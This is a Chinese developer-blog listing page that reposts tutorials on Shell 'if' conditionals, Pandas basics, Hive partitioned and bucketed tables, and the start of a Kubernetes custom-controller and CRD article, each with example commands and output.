开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

Shell 脚本中的 if 条件判断

发表于 2021-11-25

「这是我参与11月更文挑战的第7天,活动详情查看:2021最后一次更文挑战」

你必须非常努力,才能看起来毫不费力!

微信搜索公众号[ 漫漫Coding路 ],一起From Zero To Hero !

前言

if…else… 可以说是我们在编程中最常见的条件判断语句了,那么在 Shell 中如何使用呢?如何判断两个数值相等?如何判断一个文件是否存在?跟随这篇文章,一起来学习吧!

条件判断格式

在 Shell 中有两种判断格式,分别如下:

1
2
3
4
5
shell复制代码# 1. 第一种
test 条件判断式

# 2. 第二种,注意括号两端必须有空格
[ 条件判断式 ]

第二种方式相当于第一种的简化。那么我们如何知道一个条件判断语句是否为真呢?其实在 Bash中的变量类型,还有这两种! 的预定义变量部分 ,我们学习过如何判断一个命令是否执行成功,即 $? 是否等于 0,0表示执行成功,否则表示上个命令失败,条件判断也是使用这种方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
shell复制代码# 查看文件列表
[root@VM-0-5-centos ~]# ls
if.sh student.txt test.sh

# -e 文件名,用于判断文件是否存在
[root@VM-0-5-centos ~]# test -e if.sh
[root@VM-0-5-centos ~]# echo $?
0

[root@VM-0-5-centos ~]# test -e if.ssss
[root@VM-0-5-centos ~]# echo $?
1

# 换个姿势,再来测试一遍
[root@VM-0-5-centos ~]# [ -e if.sh ]
[root@VM-0-5-centos ~]# echo $?
0
[root@VM-0-5-centos ~]# [ -e if.ssss ]
[root@VM-0-5-centos ~]# echo $?
1

if 语句

  • if 开头,fi 结尾
  • [ 条件判断 ] 就是使用 test 命令判断,两端必须有空格
  • if 如果 和 then 在一行,需要加 ;

单分支

1
2
3
4
5
6
7
8
9
10
shell复制代码if [  条件判断式 ];then
命令
fi

或者

if [ 条件判断式 ]
then
命令
fi

双分支

1
2
3
4
5
6
shell复制代码if [  条件判断式 ]
then
命令
else
命令
fi

多分支

1
2
3
4
5
6
7
8
9
10
11
shell复制代码if [ 条件判断式1 ]
then
命令
elif [ 条件判断式2 ]
then
命令
...

else
命令
fi

条件判断类型

按照文件类型进行判断

测试选项 作用
-b 文件 判断该文件是否存在,并且是否为块设备文件
-c 文件 判断该文件是否存在,并且是否为字符设备文件
-d 文件 判断该文件是否存在,并且是否为目录文件
-e 文件 判断该文件是否存在
-f 文件 判断该文件是否存在,并且是否为普通文件
-L 文件 判断该文件是否存在,并且是否为符号链接文件
-p 文件 判断该文件是否存在,并且是否为管道文件
-s 文件 判断该文件是否存在,并且是否为空
-S 文件 判断该文件是否存在,并且是否为套接字文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
shell复制代码# 1. 新建一个脚本文件
[root@VM-0-5-centos ~]# vim file_test.sh

#!/bin/bash

read -p "please input filename: " filename

if [ -e $filename ]
then
echo "yes"
else
echo "no"
fi

# 2. 添加可执行权限
[root@VM-0-5-centos ~]# chmod 755 file_test.sh

# 3. 测试执行
[root@VM-0-5-centos ~]# ./file_test.sh
please input filename: student.txt
yes
[root@VM-0-5-centos ~]# ./file_test.sh
please input filename: falsfja
no

为了测试各种判断类型方便,我们可以直接使用如下方式测试,避免每次写脚本了。

1
2
3
4
5
6
7
8
9
10
11
shell复制代码# 一个命令正确执行,输出yes,否则输出no
[root@VM-0-5-centos ~]# [ -e student.txt ] && echo 'yes' || echo 'no'
yes
[root@VM-0-5-centos ~]# [ -e sss ] && echo 'yes' || echo 'no'
no


[root@VM-0-5-centos ~]# [ -d mydir/ ] && echo 'yes' || echo 'no'
yes
[root@VM-0-5-centos ~]# [ -d student.txt ] && echo 'yes' || echo 'no'
no

按照文件权限进行判断

测试选项 作用
-r 文件 判断该文件是否存在,并且是否拥有读权限
-w 文件 判断该文件是否存在,并且是否拥有写权限
-x 文件 判断该文件是否存在,并且是否拥有执行权限
1
2
3
4
5
shell复制代码[root@VM-0-5-centos ~]# [ -x file_test.sh ] && echo 'yes' || echo 'no'
yes

[root@VM-0-5-centos ~]# [ -x student.txt ] && echo 'yes' || echo 'no'
no

文件之间比较

测试选项 作用
文件1 -nt 文件2 判断文件1的修改时间是否比文件2的新
文件1 -ot 文件2 判断文件1的修改时间是否比文件2的旧
文件1 -ef 文件2 判断文件1是否和文件2的Inode号一致,可以理解两个文件是否为同一个文件。这个判断用于判断硬链接是个很好的方法。
1
2
3
4
5
6
7
8
shell复制代码# 创建硬链接后测试
[root@VM-0-5-centos ~]# ln student.txt /tmp/student.txt

[root@VM-0-5-centos ~]# [ student.txt -ef /tmp/student.txt ] && echo 'yes' || echo 'no'
yes

[root@VM-0-5-centos ~]# [ student.txt -ef /tmp/stargate.lock ] && echo 'yes' || echo 'no'
no

整数之间比较

测试选项 作用
整数1 -eq 整数2 整数1是否和整数2相等
整数1 -ne 整数2 整数1是否和整数2不等
整数1 -gt 整数2 整数1是否大于整数2
整数1 -lt 整数2 整数1是否小于整数2
整数1 -ge 整数2 整数1是否大于等于整数2
整数1 -le 整数2 整数1是否小于等于整数2
1
2
3
4
5
6
7
8
shell复制代码[root@VM-0-5-centos ~]# [ 10 -eq 10 ]  && echo 'yes' || echo 'no'
yes

[root@VM-0-5-centos ~]# [ 10 -gt 5 ] && echo 'yes' || echo 'no'
yes

[root@VM-0-5-centos ~]# [ 10 -lt 5 ] && echo 'yes' || echo 'no'
no

字符串的判断

测试选项 作用
-z 字符串 字符串是否为空
-n 字符串 字符串是否非空
字符串1 == 字符串2 字符串是否相等
字符串1 != 字符串2 字符串是否不等

if 判断中对于变量的处理,需要加引号,如果没有加双引号,可能会在判断含空格的字符串变量的时候产生错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shell复制代码[root@VM-0-5-centos ~]# name=""

# 不见引号,判断出的 name 是非空,其实是空
[root@VM-0-5-centos ~]# [ -n $name ] && echo 'yes' || echo 'no'
yes

# 加上引号就对了
[root@VM-0-5-centos ~]# [ -n "$name" ] && echo 'yes' || echo 'no'
no


[root@VM-0-5-centos ~]# name1=hello
[root@VM-0-5-centos ~]# name2=world
[root@VM-0-5-centos ~]# [ "$name1" != "$name2" ] && echo 'yes' || echo 'no'
yes
[root@VM-0-5-centos ~]# [ "$name1" == "$name2" ] && echo 'yes' || echo 'no'
no

多重条件判断

测试选项 作用
判断1 -a 判断2 逻辑与
判断1 -o 判断2 逻辑或
!判断 逻辑非
1
2
3
4
5
6
7
shell复制代码[root@VM-0-5-centos ~]# a=hello

[root@VM-0-5-centos ~]# [ -n "$a" -a "$a" == "hello" ] && echo 'yes' || echo 'no'
yes

[root@VM-0-5-centos ~]# [ -n "$a" -a "$a" == "world" ] && echo 'yes' || echo 'no'
no

总结

本篇文章首先介绍了条件判断的格式以及原理,然后介绍了 if 语句的格式,最后介绍了多个条件判断类型。内容比较多,熟能生巧,快操练起来吧!

更多

个人博客: lifelmy.github.io/

微信公众号:漫漫Coding路

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

快速入门Pandas(一):简述、创建对象及查看数据

发表于 2021-11-25

这是我参与11月更文挑战的第25天,活动详情查看:2021最后一次更文挑战

Pandas简介

Pandas是基于NumPy的一个数据处理工具,该工具是为了解决数据分析任务而创建的。Pandas纳入了大量库和一些标准的数据模型,提供了高效地操作大型数据集所需的工具。Pandas提供了大量能使我们快速便捷地处理数据的函数和方法。

Pandas的主要特点

  • 使用默认和自定义索引的快速高效的DataFrame对象。
  • 用于将数据从不同文件格式加载到内存数据对象的工具。
  • 数据对齐和缺失数据的集成处理。
  • 重新设置和旋转日期集。
  • 大数据集的基于标签的分片,索引和子集。
  • 数据结构中的列可以被删除或插入。
  • 按数据分组进行聚合和转换。
  • 高性能的数据合并和连接。
  • 时间序列功能,支持日期范围生成、频率转换、移动窗口统计、移动窗口线性回归、日期位移等时间序列功能。

Pandas数据结构

Pandas包含以下三个建立在Numpy数组上的数据结构 。

数据结构 维数 描述 描述
系列(Series) 1 一维同构数组 均匀数据、尺寸大小不变、数据的值可变
数据帧(DataFrame) 2 大小可变的二维异构表格 异构数据、大小可变、数据可变
面板(Panel) 3 具有异构数据的三维数据结构 异构数据、大小可变、数据可变

考虑这些数据结构的最好方法是,较高维数据结构是其较低维数据结构的容器。 例如,  DataFrame是Series的容器,Panel是DataFrame的容器。

创建对象

Pandas默认自动生成整数索引

用数组生成Series

1
2
python复制代码s = pd.Series([1, 3, 5, np.nan, 6, 8])
s

运行结果:

1
2
3
4
5
6
7
go复制代码0    1.0
1 3.0
2 5.0
3 NaN
4 6.0
5 8.0
dtype: float64

用日期时间索引与NumPy数组生成DataFrame。

1
2
3
4
5
python复制代码dates = pd.date_range('20130101', periods=6)
print(dates)
print("--------------------------------------------")
df = pd.DataFrame(np.random.randn(6, 4), index=dates, columns=list('ABCD'))
print(df)

运行结果:

1
2
3
4
5
6
7
8
9
10
css复制代码DatetimeIndex(['2013-01-01', '2013-01-02', '2013-01-03', '2013-01-04',               '2013-01-05', '2013-01-06'],
dtype='datetime64[ns]', freq='D')
--------------------------------------------
A B C D
2013-01-01 0.581156 0.927140 0.418510 -0.821204
2013-01-02 0.371722 -0.064795 0.896788 -0.411426
2013-01-03 1.269228 -0.052472 0.502939 1.218583
2013-01-04 -0.305827 1.448368 1.197606 -0.329779
2013-01-05 -1.605675 2.470950 0.475849 -0.261321
2013-01-06 0.869420 0.932919 0.203338 -1.039685

用Series字典对象生成DataFrame

1
2
3
4
5
6
7
8
9
10
11
python复制代码# 
df2 = pd.DataFrame({'A': 1.,
'B': pd.Timestamp('20130102'),
'C': pd.Series(1, index=list(range(4)), dtype='float32'),
'D': np.array([3] * 4, dtype='int32'),
'E': pd.Categorical(["test", "train", "test", "train"]),
'F': 'foo'})
print(df2)
print("--------------------------------------------")
# DataFrame 的列有不同数据类型
print(df2.dtypes)

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
less复制代码     A          B    C  D      E    F
0 1.0 2013-01-02 1.0 3 test foo
1 1.0 2013-01-02 1.0 3 train foo
2 1.0 2013-01-02 1.0 3 test foo
3 1.0 2013-01-02 1.0 3 train foo
--------------------------------------------
A float64
B datetime64[ns]
C float32
D int32
E category
F object
dtype: object

查看数据

查看DataFrame头部、尾部数据以及索引和列名

1
2
3
4
5
6
7
8
9
python复制代码# 查看DataFrame头部和尾部数据
print(df.head(2))
print("---------")
print(df.tail(3))
print("---------")
# 查看索引与列名
print(df.index)
print("---------")
print(df.columns)

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
css复制代码                   A         B         C         D
2013-01-01 0.581156 0.927140 0.418510 -0.821204
2013-01-02 0.371722 -0.064795 0.896788 -0.411426
---------
A B C D
2013-01-04 -0.305827 1.448368 1.197606 -0.329779
2013-01-05 -1.605675 2.470950 0.475849 -0.261321
2013-01-06 0.869420 0.932919 0.203338 -1.039685
---------
DatetimeIndex(['2013-01-01', '2013-01-02', '2013-01-03', '2013-01-04', '2013-01-05', '2013-01-06'],
dtype='datetime64[ns]', freq='D')
---------
Index(['A', 'B', 'C', 'D'], dtype='object')

DataFrame 转换成 NumPy 对象(DataFrame.to_numpy())

注意:
DataFrame 的列由多种数据类型组成时,该操作耗费系统资源较大。同时DataFrame.to_numpy() 的输出不包含行索引和列标签。

Pandas 和 NumPy 的本质区别:NumPy 数组只有一种数据类型,DataFrame 每列的数据类型各不相同。

当调用 DataFrame.to_numpy() 时,Pandas 查找支持 DataFrame 里所有数据类型的 NumPy 数据类型。还有一种数据类型是 object,可以把 DataFrame 列里的值强制转换为 Python 对象。

1
2
3
4
5
python复制代码# 当DataFrame里的值都是浮点数时,DataFrame.to_numpy()的操作会很快,而且不复制数据。
print(df.to_numpy())
print("------------")
# 当DataFrame中包含了多种类型,DataFrame.to_numpy()的操作就会耗费较多资源。
print(df2.to_numpy())

运行结果:

1
2
3
4
5
6
7
8
9
10
11
css复制代码[[ 0.58115588  0.92713986  0.41851012 -0.82120405]
[ 0.37172229 -0.06479531 0.89678779 -0.41142571]
[ 1.26922774 -0.05247208 0.50293895 1.21858323]
[-0.30582652 1.4483678 1.19760636 -0.3297786 ]
[-1.60567514 2.47095001 0.47584868 -0.26132112]
[ 0.86941951 0.93291938 0.20333811 -1.03968497]]
------------
[[1.0 Timestamp('2013-01-02 00:00:00') 1.0 3 'test' 'foo']
[1.0 Timestamp('2013-01-02 00:00:00') 1.0 3 'train' 'foo']
[1.0 Timestamp('2013-01-02 00:00:00') 1.0 3 'test' 'foo']
[1.0 Timestamp('2013-01-02 00:00:00') 1.0 3 'train' 'foo']]

快速查看数据的统计摘要

1
python复制代码print(df.describe())

运行结果:

1
2
3
4
5
6
7
8
9
matlab复制代码              A         B         C         D
count 6.000000 6.000000 6.000000 6.000000
mean 0.196671 0.943685 0.615838 -0.274139
std 1.027852 0.958853 0.362994 0.791918
min -1.605675 -0.064795 0.203338 -1.039685
25% -0.136439 0.192431 0.432845 -0.718759
50% 0.476439 0.930030 0.489394 -0.370602
75% 0.797354 1.319506 0.798326 -0.278435
max 1.269228 2.470950 1.197606 1.218583

转置数据、按轴排序和按值排序

1
2
3
4
5
6
7
8
9
10
11
12
python复制代码# 转置数据
print(df.T)
print("----------------------")
# 按轴排序:ascending=False表示降序,默认为升序, axis=1表示列
print(df.sort_index(axis=1, ascending=False))
# axis=0表示行

print(df.sort_index(axis=0, ascending=False))
print("----------------------")

# 按值排序
print(df.sort_values(by='B'))

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
yaml复制代码   2013-01-01  2013-01-02  2013-01-03  2013-01-04  2013-01-05  2013-01-06
A 0.581156 0.371722 1.269228 -0.305827 -1.605675 0.869420
B 0.927140 -0.064795 -0.052472 1.448368 2.470950 0.932919
C 0.418510 0.896788 0.502939 1.197606 0.475849 0.203338
D -0.821204 -0.411426 1.218583 -0.329779 -0.261321 -1.039685
----------------------
D C B A
2013-01-01 -0.821204 0.418510 0.927140 0.581156
2013-01-02 -0.411426 0.896788 -0.064795 0.371722
2013-01-03 1.218583 0.502939 -0.052472 1.269228
2013-01-04 -0.329779 1.197606 1.448368 -0.305827
2013-01-05 -0.261321 0.475849 2.470950 -1.605675
2013-01-06 -1.039685 0.203338 0.932919 0.869420
A B C D
2013-01-06 0.869420 0.932919 0.203338 -1.039685
2013-01-05 -1.605675 2.470950 0.475849 -0.261321
2013-01-04 -0.305827 1.448368 1.197606 -0.329779
2013-01-03 1.269228 -0.052472 0.502939 1.218583
2013-01-02 0.371722 -0.064795 0.896788 -0.411426
2013-01-01 0.581156 0.927140 0.418510 -0.821204
----------------------
A B C D
2013-01-02 0.371722 -0.064795 0.896788 -0.411426
2013-01-03 1.269228 -0.052472 0.502939 1.218583
2013-01-01 0.581156 0.927140 0.418510 -0.821204
2013-01-06 0.869420 0.932919 0.203338 -1.039685
2013-01-04 -0.305827 1.448368 1.197606 -0.329779
2013-01-05 -1.605675 2.470950 0.475849 -0.261321

参考文档

  • Pandas教程
  • pandas简介
  • python之pandas简单介绍及使用
  • 十分钟入门Pandas

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

大数据Hive学习之旅第四篇 一、分区表和分桶表 二、友情链

发表于 2021-11-25

「这是我参与11月更文挑战的第25天,活动详情查看:2021最后一次更文挑战」。

一、分区表和分桶表

1、分区表

分区表实际上就是对应一个 HDFS 文件系统上的独立的文件夹,该文件夹下是该分区所有的数据文件。Hive 中的分区就是分目录,把一个大的数据集根据业务需要分割成小的数据集。在查询时通过 WHERE 子句中的表达式选择查询所需要的指定的分区,这样的查询效率会提高很多。

1.1、分区表基本操作

  1. 引入分区表(需要根据日期对日志进行管理, 通过部门信息模拟)
1
2
3
txt复制代码dept_20211122.log
dept_20211123.log
dept_20211124.log
  1. 创建分区表语法
1
2
3
4
hive复制代码hive (default)> create table dept_partition(
> deptno int, dname string, loc string)
> partitioned by (day string)
> row format delimited fields terminated by '\t';

注意:分区字段不能是表中已经存在的数据,可以将分区字段看作表的伪列。
3. 加载数据到分区表中

* 数据准备


dept\_20211122.log



1
2
txt复制代码10	ACCOUNTING	1700
20 RESEARCH 1800
dept\_20211123.log
1
2
txt复制代码30	SALES	1900
40 OPERATIONS 1700
dept\_20211124.log
1
2
txt复制代码50	TEST	2000
60 DEV 1900
* 加载数据
1
2
3
4
5
hive复制代码hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/dept_20211122.log' into table dept_partition partition(day='20211122'); 

hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/dept_20211123.log' into table dept_partition partition(day='20211123');

hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/dept_20211124.log' into table dept_partition partition(day='20211124');
注意:分区表加载数据时,必须指定分区 ![image.png](https://gitee.com/songjianzaina/juejin_p10/raw/master/img/7e2b9bd020c60cb1803075542c031eb30bdc9437e19d8cb62df244ab2e186e01)
  1. 查询分区表中数据
* 单分区查询



1
hive复制代码hive (default)> select * from dept_partition where day='20211124';
* 多分区联合查询
1
2
3
4
5
hive复制代码hive (default)> select * from dept_partition where day='20211123'
> union
> select * from dept_partition where day='20211124'
> union
> select * from dept_partition where day='20211122';
或者
1
hive复制代码hive (default)> select * from dept_partition where day = '20211122' or day = '20211123' or day = '20211124';
  1. 增加分区
* 创建单个分区



1
hive复制代码hive (default)> alter table dept_partition add partition(day='20211125');
* 创建多个分区
1
hive复制代码hive (default)> alter table dept_partition add partition(day='20211126') partition(day='20211127');
  1. 删除分区
* 删除单个分区



1
hive复制代码hive (default)> alter table dept_partition drop partition(day='20211125');
* 删除多个分区
1
hive复制代码hive (default)> alter table dept_partition drop partition(day='20211126'),partition(day='20211127');
  1. 查看分区表有多少分区
1
hive复制代码hive (default)> show partitions dept_partition;
  1. 查看分区表结构
1
hive复制代码hive (default)> desc formatted dept_partition;

1.2、二级分区

思考: 如果一天的日志数据量也很大,如何再将数据拆分?

  1. 创建二级分区表
1
2
3
4
hive复制代码hive (default)> create table dept_partition2
> (deptno int, dname string, loc string)
> partitioned by (day string, hour string)
> row format delimited fields terminated by '\t';
  1. 正常的加载数据
* 加载数据到二级分区表中



1
hive复制代码hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/dept_20211124.log' into table dept_partition2 partition(day='20211124', hour=17);
* 查询分区数据
1
hive复制代码hive (default)> select * from dept_partition2 where day = '20211124' and hour = 17;
  1. 把数据直接上传到分区目录上,让分区表和数据产生关联的三种方式
* 方式一:上传数据后修复


    + 上传数据



    
1
2
3
hive复制代码hive (default)> dfs -mkdir -p /user/hive/warehouse/dept_partition2/day=20211124/hour=18;

hive (default)> dfs -put /opt/module/hive-3.1.2/datas/dept_20211123.log /user/hive/warehouse/dept_partition2/day=20211124/hour=18;
+ 查询数据(查询不到刚上传的数据)
1
hive复制代码hive (default)> select * from dept_partition2 where day = '20211124' and hour = 18;
+ 执行修复命令
1
2
3
4
5
hive复制代码hive (default)> msck repair table dept_partition2;
OK
Partitions not in metastore: dept_partition2:day=20211124/hour=18
Repair: Added partition to metastore dept_partition2:day=20211124/hour=18
Time taken: 0.172 seconds, Fetched: 2 row(s)
+ 再次查询数据
1
hive复制代码hive (default)> select * from dept_partition2 where day = '20211124' and hour = 18;
* 方式二:上传数据后添加分区 + 上传数据
1
2
hive复制代码hive (default)> dfs -mkdir -p /user/hive/warehouse/dept_partition2/day=20211124/hour=19;
hive (default)> dfs -put /opt/module/hive-3.1.2/datas/dept_20211122.log /user/hive/warehouse/dept_partition2/day=20211124/hour=19;
+ 执行添加分区
1
hive复制代码hive (default)> alter table dept_partition2 add partition(day='20211124', hour=19);
+ 查询数据
1
hive复制代码hive (default)> select * from dept_partition2 where day = '20211124' and hour = 19;
* 方式三:创建文件夹后 load 数据到分区 + 创建目录
1
hive复制代码hive (default)> dfs -mkdir -p /user/hive/warehouse/dept_partition2/day=20211124/hour=20;
+ 上传数据
1
hive复制代码hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/dept_20211122.log' into table dept_partition2 partition(day='20211124', hour=20);
+ 查询数据
1
hive复制代码hive (default)> select * from dept_partition2 where day = '20211124' and hour = 20;

1.3、动态分区调整

关系型数据库中,对分区表 Insert 数据时候,数据库自动会根据分区字段的值,将数据插入到相应的分区中,Hive 中也提供了类似的机制,即动态分区(Dynamic Partition),只不过,使用 Hive 的动态分区,需要进行相应的配置。

  1. 开启动态分区参数设置
* 开启动态分区功能(默认 true,开启)



1
hive复制代码hive.exec.dynamic.partition=true
* 设置为非严格模式(动态分区的模式,默认 strict,表示必须指定至少一个分区为静态分区,nonstrict 模式表示允许所有的分区字段都可以使用动态分区。)
1
hive复制代码hive.exec.dynamic.partition.mode=nonstrict
* 在所有执行 MR 的节点上,最大一共可以创建多少个动态分区。默认 1000
1
hive复制代码hive.exec.max.dynamic.partitions=1000
* 在每个执行 MR 的节点上,最大可以创建多少个动态分区。该参数需要根据实际的数据来设定。比如:源数据中包含了一年的数据,即 day 字段有 365 个值,那么该参数就需要设置成大于 365,如果使用默认值 100,则会报错。
1
hive复制代码hive.exec.max.dynamic.partitions.pernode=100
* 整个 MR Job 中,最大可以创建多少个 HDFS 文件。默认 100000
1
hive复制代码hive.exec.max.created.files=100000
* 当有空分区生成时,是否抛出异常。一般不需要设置。默认 false
1
hive复制代码hive.error.on.empty.partition=false
  1. 案例实操

需求:将 dept 表中的数据按照地区(loc 字段),插入到目标表 dept_partition 的相应分区中。

* 创建目标分区表



1
2
3
hive复制代码hive (default)> create table dept_partition_dy(id int, name string)
> partitioned by (loc int)
> row format delimited fields terminated by '\t';
* 设置动态分区
1
2
hive复制代码hive (default)> set hive.exec.dynamic.partition.mode = nonstrict;
hive (default)> insert into table dept_partition_dy partition(loc) select deptno,dname,loc from dept;
* 查看目标分区表的分区情况
1
2
3
4
5
6
hive复制代码hive (default)> show partitions dept_partition_dy;
OK
partition
loc=1700
loc=1800
loc=1900

2、分桶表

分区提供一个隔离数据和优化查询的便利方式。不过,并非所有的数据集都可形成合理的分区。对于一张表或者分区,Hive 可以进一步组织成桶,也就是更为细粒度的数据范围划分。

分桶是将数据集分解成更容易管理的若干部分的另一个技术。

分区针对的是数据的存储路径;分桶针对的是数据文件。

  1. 先创建分桶表
* 数据准备



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
txt复制代码1001	ss1
1002 ss2
1003 ss3
1004 ss4
1005 ss5
1006 ss6
1007 ss7
1008 ss8
1009 ss9
1010 ss10
1011 ss11
1012 ss12
1013 ss13
1014 ss14
1015 ss15
1016 ss16
* 创建分桶表
1
2
3
hive复制代码hive (default)> create table stu_buck(id int, name string)
> clustered by(id) into 4 buckets
> row format delimited fields terminated by '\t';
* 查看表结构
1
2
hive复制代码hive (default)> desc formatted stu_buck;
Num Buckets: 4
* 导入数据到分桶表中,load 的方式
1
hive复制代码hive (default)> load data local inpath '/opt/module/hive-3.1.2/datas/student' into table stu_buck;
* 查看创建的分桶表中是否分成 4 个桶 ![image.png](https://gitee.com/songjianzaina/juejin_p10/raw/master/img/566fe92b46569204a2aa648087535a0b12d293c5a41fe52ed7f0732394e9dbf0) * 查询分桶的数据
1
hive复制代码hive (default)> select * from  stu_buck;
* 分桶规则 根据结果可知:Hive 的分桶采用对分桶字段的值进行哈希,然后除以桶的个数求余的方式决定该条记录存放在哪个桶当中
  1. 分桶表操作需要注意的事项
* reduce 的个数设置为-1,让 Job 自行决定需要用多少个 reduce 或者将 reduce 的个数设置为大于等于分桶表的桶数
* 从 hdfs 中 load 数据到分桶表中,避免本地文件找不到问题
* 不要使用本地模式
  1. insert 方式将数据导入分桶表
1
hive复制代码hive(default)>insert into table stu_buck select * from student_insert;

3、抽样查询

对于非常大的数据集,有时用户需要使用的是一个具有代表性的查询结果而不是全部结果。Hive 可以通过对表进行抽样来满足这个需求。

语法: TABLESAMPLE(BUCKET x OUT OF y)

查询表 stu_buck 中的数据。

1
hive复制代码hive (default)> select * from stu_buck tablesample(bucket 1 out of 4 on id);

注意:x 的值必须小于等于 y 的值,否则

二、友情链接

大数据Hive学习之旅第三篇

大数据Hive学习之旅第二篇

大数据Hive学习之旅第一篇

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Kubernetes中自定义Controller

发表于 2021-11-25

作者:乔克
公众号:运维开发故事
博客:www.coolops.cn(COOLOPS)
知乎:乔克叔叔

​

大家好,我是乔克。
​

在Kubernetes中,Pod是最小的调度单元,它由各种各样的Controller管理,比如ReplicaSet Controller,Deployment Controller等。
​

Kubernetes内置了许多Controller,这些Controller能满足80%的业务需求,但是企业里也难免需要自定义Controller来适配自己的业务需求。
​

网上自定义Controller的文章很多,基本都差不多。俗话说:光说不练假把式,本篇文章主要是自己的一个实践归档总结,如果对你有帮助,可以一键三连!
​

本文主要从以下几个方面进行介绍,其中包括理论部分和具体实践部分。
​

image.png

Controller的实现逻辑

当我们向kube-apiserver提出创建一个Deployment需求的时候,首先是会把这个需求存储到Etcd中,如果这时候没有Controller的话,这条数据仅仅是存在Etcd中,并没有产生实际的作用。
​

所以就有了Deployment Controller,它实时监听kube-apiserver中的Deployment对象,如果对象有增加、删除、修改等变化,它就会做出相应的相应处理,如下:

1
2
3
4
5
6
7
8
9
go复制代码// pkg/controller/deployment/deployment_controller.go 121行
.....
dInformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{
AddFunc: dc.addDeployment,
UpdateFunc: dc.updateDeployment,
// This will enter the sync loop and no-op, because the deployment has been deleted from the store.
DeleteFunc: dc.deleteDeployment,
})
......

其实现的逻辑图如下(图片来自网络):
image.png

可以看到图的上半部分都由client-go实现了,下半部分才是我们具体需要去处理的。
​

client-go主要包含Reflector、Informer、Indexer三个组件。

  • Reflector会List&Watch kube-apiserver中的特定资源,然后会把变化的资源放入Delta FIFO队列中。
  • Informer会从Delta FIFO队列中拿取对象交给相应的HandleDeltas。
  • Indexer会将对象存储到缓存中。

​

上面部分不需要我们去开发,我们主要关注下半部分。
​

当把数据交给Informer的回调函数HandleDeltas后,Distribute会将资源对象分发到具体的处理函数,这些处理函数通过一系列判断过后,把满足需求的对象放入Workqueue中,然后再进行后续的处理。
​

code-generator介绍

上一节说到我们只需要去实现具体的业务需求,这是为什么呢?主要是因为kubernetes为我们提供了code-generator【1】这样的代码生成器工具,可以通过它自动生成客户端访问的一些代码,比如Informer、ClientSet等。
​

code-generator提供了以下工具为Kubernetes中的资源生成代码:

  • deepcopy-gen:生成深度拷贝方法,为每个 T 类型生成 func (t* T) DeepCopy() *T 方法,API 类型都需要实现深拷贝
  • client-gen:为资源生成标准的 clientset
  • informer-gen:生成 informer,提供事件机制来响应资源的事件
  • lister-gen:生成 Lister**,**为 get 和 list 请求提供只读缓存层(通过 indexer 获取)

​

如果需要自动生成,就需要在代码中加入对应格式的配置,如下:
image.png
​

其中:

  • // +genclient表示需要创建client
  • // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object表示在需要实现k8s.io/apimachinery/pkg/runtime.Object这个接口

​

除此还有更多的用法,可以参考Kubernetes Deep Dive: Code Generation for CustomResources【2】进行学习。
​

CRD介绍

CRD全称CustomResourceDefinition ,中文简称自定义资源,上面说的Controller主要就是用来管理自定义的资源。
​

我们可以通过下面命令来查看当前集群中使用了哪些CRD,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
shell复制代码# kubectl get crd
NAME CREATED AT
ackalertrules.alert.alibabacloud.com 2021-06-15T02:19:59Z
alertmanagers.monitoring.coreos.com 2019-12-12T12:50:00Z
aliyunlogconfigs.log.alibabacloud.com 2019-12-02T10:15:02Z
apmservers.apm.k8s.elastic.co 2020-09-14T01:52:53Z
batchreleases.alicloud.com 2019-12-02T10:15:53Z
beats.beat.k8s.elastic.co 2020-09-14T01:52:53Z
chaosblades.chaosblade.io 2021-06-15T02:30:54Z
elasticsearches.elasticsearch.k8s.elastic.co 2020-09-14T01:52:53Z
enterprisesearches.enterprisesearch.k8s.elastic.co 2020-09-14T01:52:53Z
globaljobs.jobs.aliyun.com 2020-04-26T14:40:53Z
kibanas.kibana.k8s.elastic.co 2020-09-14T01:52:54Z
prometheuses.monitoring.coreos.com 2019-12-12T12:50:01Z
prometheusrules.monitoring.coreos.com 2019-12-12T12:50:02Z
servicemonitors.monitoring.coreos.com 2019-12-12T12:50:03Z

​

但是仅仅是创建一个CRD对象是不够的,因为它是静态的,创建过后仅仅是保存在Etcd中,如果需要其有意义,就需要Controller配合。
​

创建CRD的例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
yaml复制代码apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
# name 必须匹配下面的spec字段:<plural>.<group>
name: students.coolops.io
spec:
# group 名用于 REST API 中的定义:/apis/<group>/<version>
group: coolops.io
# 列出自定义资源的所有 API 版本
versions:
- name: v1 # 版本名称,比如 v1、v1beta1
served: true # 是否开启通过 REST APIs 访问 `/apis/<group>/<version>/...`
storage: true # 必须将一个且只有一个版本标记为存储版本
schema: # 定义自定义对象的声明规范
openAPIV3Schema:
type: object
properties:
spec:
type: object
properties:
name:
type: string
school:
type: string
scope: Namespaced # 定义作用范围:Namespaced(命名空间级别)或者 Cluster(整个集群)
names:
plural: students # plural 名字用于 REST API 中的定义:/apis/<group>/<version>/<plural>
shortNames: # shortNames 相当于缩写形式
- stu
kind: Student # kind 是 sigular 的一个驼峰形式定义,在资源清单中会使用
singular: student # singular 名称用于 CLI 操作或显示的一个别名

具体演示

本来准备根据官方的demo【3】进行讲解,但是感觉有点敷衍,而且这类教程网上一大堆,所以就准备自己实现一个数据库管理的一个Controller。
​

